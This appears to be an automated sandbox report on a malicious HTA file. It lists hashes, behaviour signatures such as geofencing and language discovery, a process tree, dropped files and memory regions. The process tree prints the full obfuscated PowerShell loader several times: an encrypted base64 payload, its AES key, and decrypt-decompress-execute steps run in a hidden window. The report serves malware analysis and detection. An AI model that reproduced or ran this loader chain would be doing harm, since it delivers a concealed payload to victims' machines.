Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 11:26

General

  • Target

    163.5.169.28/SCAN-atoletter4.hta

  • Size

    1.1MB

  • MD5

    4bde59d84e71c0ff88901e353dbe3eec

  • SHA1

    3000483b2add41716148b8e11fa283f6db6a9cf1

  • SHA256

    992820187d1f871cb816dfb5839c0a71dfde38626d6947b4d912d04cf585454d

  • SHA512

    38a11e2bbba9b26f5651d09f072109cb1b77717c53322a47147e1560016d409c528639be48f2044f038a6b24bad5cf0df200a83ca80c5a27d49fe5b91ecbb0b4

  • SSDEEP

    1536:sSdyqS4pxRNGWLPcX/WhEdbVhtmr/l1vcmafSIm+lIWFXvD+v/j53mD0QMYPhgg9:ldHzpxdPcPWhqxki

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter4.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3724
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2152
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    b1efb60b5e038a9ac934d4e2c1ebccb3

    SHA1

    b3b2ec577fe4f454530efda97fcb3e1b72875875

    SHA256

    783175c39db617b23ed035e7b2373d86d9b3bd03c6873e8b9ecd1f251e07a13d

    SHA512

    94cbdfae7ca602db5972808cbc6f2cb353e8b18c07b5d93ea6497a00b87d84dc2482b7587801d4c1ca7b526471c7b5a33cb51aed5d6c64b3ca63174a777b4319

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uzhxr43n.ny2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2012-51-0x0000000007A80000-0x0000000007AB2000-memory.dmp

    Filesize

    200KB

  • memory/2012-66-0x0000000007C10000-0x0000000007C21000-memory.dmp

    Filesize

    68KB

  • memory/2012-65-0x0000000007BE0000-0x0000000007BEA000-memory.dmp

    Filesize

    40KB

  • memory/2012-64-0x0000000007AE0000-0x0000000007B83000-memory.dmp

    Filesize

    652KB

  • memory/2012-63-0x0000000007AC0000-0x0000000007ADE000-memory.dmp

    Filesize

    120KB

  • memory/2012-53-0x000000006E210000-0x000000006E564000-memory.dmp

    Filesize

    3.3MB

  • memory/2012-52-0x000000006E0B0000-0x000000006E0FC000-memory.dmp

    Filesize

    304KB

  • memory/2012-49-0x0000000007360000-0x00000000073D6000-memory.dmp

    Filesize

    472KB

  • memory/2012-47-0x00000000071C0000-0x0000000007204000-memory.dmp

    Filesize

    272KB

  • memory/2152-46-0x0000000007560000-0x0000000007BDA000-memory.dmp

    Filesize

    6.5MB

  • memory/4440-17-0x00000000062C0000-0x00000000062DE000-memory.dmp

    Filesize

    120KB

  • memory/4440-21-0x0000000006830000-0x0000000006852000-memory.dmp

    Filesize

    136KB

  • memory/4440-25-0x00000000717F0000-0x0000000071FA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4440-1-0x00000000029B0000-0x00000000029E6000-memory.dmp

    Filesize

    216KB

  • memory/4440-19-0x0000000007290000-0x0000000007326000-memory.dmp

    Filesize

    600KB

  • memory/4440-20-0x00000000067E0000-0x00000000067FA000-memory.dmp

    Filesize

    104KB

  • memory/4440-22-0x00000000078E0000-0x0000000007E84000-memory.dmp

    Filesize

    5.6MB

  • memory/4440-2-0x00000000717F0000-0x0000000071FA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4440-0-0x00000000717FE000-0x00000000717FF000-memory.dmp

    Filesize

    4KB

  • memory/4440-4-0x0000000005310000-0x0000000005332000-memory.dmp

    Filesize

    136KB

  • memory/4440-18-0x0000000006300000-0x000000000634C000-memory.dmp

    Filesize

    304KB

  • memory/4440-5-0x0000000005C30000-0x0000000005C96000-memory.dmp

    Filesize

    408KB

  • memory/4440-16-0x0000000005EE0000-0x0000000006234000-memory.dmp

    Filesize

    3.3MB

  • memory/4440-6-0x0000000005CA0000-0x0000000005D06000-memory.dmp

    Filesize

    408KB

  • memory/4440-3-0x0000000005520000-0x0000000005B48000-memory.dmp

    Filesize

    6.2MB